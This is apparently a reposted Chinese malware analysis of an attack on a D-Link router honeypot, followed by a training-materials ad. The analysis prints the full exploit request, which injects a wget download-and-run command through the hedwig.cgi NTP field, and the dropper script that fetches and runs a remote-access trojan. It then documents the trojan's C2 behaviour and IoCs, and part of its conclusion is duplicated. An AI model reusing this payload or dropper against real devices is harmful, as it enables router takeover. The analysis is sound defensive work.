一、背景概述
2022年7月20日,天穹威胁监测系统监测到IoT蜜罐系统中的D-Link Dir
817LW路由器遭受来自澳大利亚IP的攻击。系统显示目标设备被攻击成功,并且下载了恶意样本。实验室相关人员第一时间对该攻击事件样本进行分析,发现该次攻击投递的恶意样本为具备RAT功能的恶意程序。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YF6rhb6f-1692154502970)(https://image.3001.net/images/20220823/1661244650_630494eadd130d7710782.png!small)]
二、关键线索
2.1 攻击特征
我们从天穹威胁监测系统提取了漏洞攻击请求原文,如下所示。根据Payload特征,发现此漏洞是Nday,暂无漏洞编号。``
``
``
POST /hedwig.cgi HTTP/1.0
``
Host: 158.*.*.8:8011
``
Connection: close
``
Content-Length: 515
``
User-Agent: python-requests/2.25.1
``
Accept-Encoding: gzip, deflate
``
Accept: */*
``
Content-Type: text/xml
``
Cookie: uid=5r3JP1jSru
``
``
<postxml>
``
<module>
``
<service>DEVICE.TIME</service>
``
<device>
``
<time>
``
<ntp>
``
<enable>1</enable>
``
<period>604800</period>
``
<server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) & exit; </server>
``
</ntp>
``
<ntp6>
``
<enable>1</enable>
``
<period>604800</period>
``
</ntp6>
``
<timezone>57</timezone>
``
<time/>
``
<date/>
``
<dst>0</dst>
``
<dstmanual/>
``
<dstoffset/>
``
</time>
``
</device>
``
</module>
``
</postxml>
``
2.2 Shell脚本内容
上述攻击请求会控制失陷设备下载地址为http://149.28.174.108/dL.html的文件并执行,文件内容如下所示。``
``
#!/bin/sh
I=149.28.174.108;
PW=80;
PT=69;
DT=60;
I1=45.149.156.71;
P1=9701;
rm -f $0
#tftp 下载文件
a=dal;
# tftp -g -l /tmp/dal -r dal 149.28.174.108 69;
tftp -g -l /tmp/$a -r $a $I $PT;
if [ -f /tmp/$a ];then
chmod 777 /tmp/$a;
# /tmp/dal 60 45.149.156.71 9701
/tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
if [ ! -f /tmp/$a ];then
exit 0;
fi;
rm -f /tmp/$a;
fi
#wget 下载文件
a=dal;
# wget http://149.28.174.108:80/dal -O /tmp/dal
wget http://$I:$PW/$a -O /tmp/$a;
if [ -f /tmp/$a ];then
chmod 777 /tmp/$a;
# /tmp/dal 60 45.149.156.71 9701
/tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
if [ ! -f /tmp/$a ];then
exit 0;
fi;
rm -f /tmp/$a;
fi
根据文件内容,该脚本为一段Shell脚本,功能为远程下载二进制木马文件并执行。我们从真实下载地址http://149.28.174.108:80/dal下载了样本得到dal文件。
三、样本分析
3.1 动态养殖
构建内网隔离环境后,我们对样本进行了养殖与监控。通过监控,我们发现样本在运行时,首先会检测传入的参数,如果无参数或者参数数量不对,则直接退出。这是一种与沙箱对抗的简单方法,可以阻止部分沙箱对样本进行养殖与监控。
3.1.1 文件行为
当我们使用Shell中的启动参数(dal 60 45.149.156.71 9701)运行样本时,进程会删除程序源文件,同时建立两个进程名为sh的子进程
。
``
pi 1074 1 0 10:50 ? 00:00:00 sh
pi 1075 1074 0 10:50 ? 00:00:00 sh
pi 1084 905 0 10:50 pts/0 00:00:00 ps -ef
3.1.2 网络行为
进一步分析网络通联情况,发现该程序会监听9725端口。
pi@raspberrypi:/tmp $ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9725 0.0.0.0:* LISTEN
tcp 0 224 192.168.6.188:22 192.168.4.148:26563 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 0.0.0.0:56975 0.0.0.0:*
udp 0 0 0.0.0.0:5353 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp6 0 0 :::5353 :::*
udp6 0 0 :::51194 :::*
raw6 0 0 :::58 :::* 7
``
此外,通过流量监测发现该样本会定期与IP 45.149.156.71的9701端口建立通讯,心跳周期为60秒,所发送数据包内容为空。
结合该样本上述行为,我们可以判断该样本启动时三个参数的对应关系如下。
``
样本名 回连间隔 C2 IP C2端口
dal 60 45.149.156.71 9701
3.2 静态分析
3.2.1 自删除
运行后,先获取程序绝对路径并删除自身。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zybw5I3D-1692154502976)(https://image.3001.net/images/20220823/1661247788_6304a12caf04250def12c.png!small)]
3.2.2 创建子进程1并放行端口
将子进程设置为守护进程。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X4PlVoeB-1692154502977)(https://image.3001.net/images/20220823/1661247821_6304a14dd7bfd6d9502b6.png!small)]
子进程1 会监听9725端口。
由于部分IoT设备存在防火墙,会拦截攻击者发送数据,该程序会调用Iptables放行9725端口,确保设备存在防火墙情况下也能与程序正常通讯。
3.2.3 创建子进程2并回连C2
子进程2 :主动发起请求回连C2
3.2.4 指令操作
当攻击者与这两个进程中的任何一个建立通信后,就会去调用sub_15A8C
函数去处理接收的攻击者指令,根据接收到的不同命令实现不同的功能。
3.2.4.1 远程文件读取
Case 1 包括接收命令,打开文件和读取文件,发送数据。
3.2.4.2 远程文件写入
Case 2 会接收命令,调用的函数和 Case 1 中的一样,然后是打开文件和写入文件。
3.2.4.3 伪终端功能
Case 3 包括接收命令,接收命令调用的函数和之前一样,然后是打开设备文件,读取并发送。我们根据此函数打开设备文件位置判断这是打开伪终端。
3.2.4.4 文件上传下载与命令执行
Case 4 通过对比字符串决定执行流程。
如果是”get“就发送数据。
如果是”put“ 就打开和写入文件。
如果都不是就执行命令。
3.2.5 对接收数据的处理
在成功建立通信之后,程序第一次至少接收40个字节的数据,然后将这个40个字节的前20个字节和后20个字节分开,分开后的两个字符和另一个字符串
“pxd1@13sd…” 被一个函数当作参数填充 0x341D0 和 0x34468
地址里的空间,这两个地址里的值会被后面的解密函数使用,这个函数调用了许多计算函数去填充,难以分析出它的计算方式。
第一次接收的数据经过计算相当于一个解密用的密钥,供之后的解密使用。
之后调用调用函数 sub_10640 接收数据并进行加密,这个函数负责接收数据和解密数据,之后所有接收数据和加密数据都是由它完成。
sub_10640 函数总共会进行两次接收,第一次接收的长度为16个字节,通过一个解密函数 sub_12454
和第一次获得的密钥对这16字节的内容进行解密。
解密之后还会把解密的部分和 0x3466C
开始的部分进行异或,然后将异或后部分的第一个字节和第二个字节做计算,之后判断计算的值,如果不满足条件就结束这次通信。
第二次接收数据,接收数据的长度与第一次数据解密后的值有关,接收的数据紧挨着第二次接收的数据之后,之后又是一系列解密操作。
再经过 sub_10640 接收和处理的数据被用于条件判断,控制程序是否结束,或者作为参数传递给执行恶意操作的函数。
3.2.6 样本运行流程图
3.3 小结
结合该样本行为与代码分析结果,我们判断这是一个远控木马,存在心跳包机制,具有正向Shell与反向Shell功能。攻击者可以主动连接9725端口或者等待样本主动回连,当攻击者与木马建立连接后具有命令执行与文件上传下载功能。
四、威胁情报分析
4.1 事件IP关联情报
我们对此次攻击事件涉及的IP和样本进行了威胁情报关联,暂未发现与其他病毒家族关联信息。
原始文件名
|
dal
—|—
架构
|
Arm
文件格式
|
ELF
文件大小
|
81.25 KB
MD5
|
f4d77aa2aae2d5267845360b1274ce21
HASH1
|
b17c66753bbfb997d70dd20e8aff83e947cafd91
HASH256
|
1866bce852ee5d3be999f69ec19827276b6cd21c601baf441c3c0144cd65b2ae
VT首次上传时间
|
2021-12-15
VT检测结果
|
27/62
五、结论
通过样本的行为分析和代码分析,我们判断这是一个远控木马样本。
该样本运行后建立两个子进程,分别用于监控9725端口和定时向C2回连,当攻击者与木马建立连接后可以进行命令执行和文件上传下载等。
针对IoT设备的样本大多数具备DDos功能,而此样本却只有远程控制功能,且根据静态分析与威胁情报未找到与现有僵尸网络家族关联信息。我们推测此样本属于攻击者投递的第一阶段攻击载荷,后续攻击者可以利用此样本投递其他恶意程序。
六、IoC
-
f4d77aa2aae2d5267845360b1274ce21
-
45.149.156.71
-
149.28.174.108
27276b6cd21c601baf441c3c0144cd65b2ae**
VT首次上传时间
|
2021-12-15
VT检测结果
|
27/62
五、结论
通过样本的行为分析和代码分析,我们判断这是一个远控木马样本。
该样本运行后建立两个子进程,分别用于监控9725端口和定时向C2回连,当攻击者与木马建立连接后可以进行命令执行和文件上传下载等。
针对IoT设备的样本大多数具备DDos功能,而此样本却只有远程控制功能,且根据静态分析与威胁情报未找到与现有僵尸网络家族关联信息。我们推测此样本属于攻击者投递的第一阶段攻击载荷,后续攻击者可以利用此样本投递其他恶意程序。
六、IoC
-
f4d77aa2aae2d5267845360b1274ce21
-
45.149.156.71
-
149.28.174.108
学习计划安排
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你对网络安全入门感兴趣,那么你需要的话可以
点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析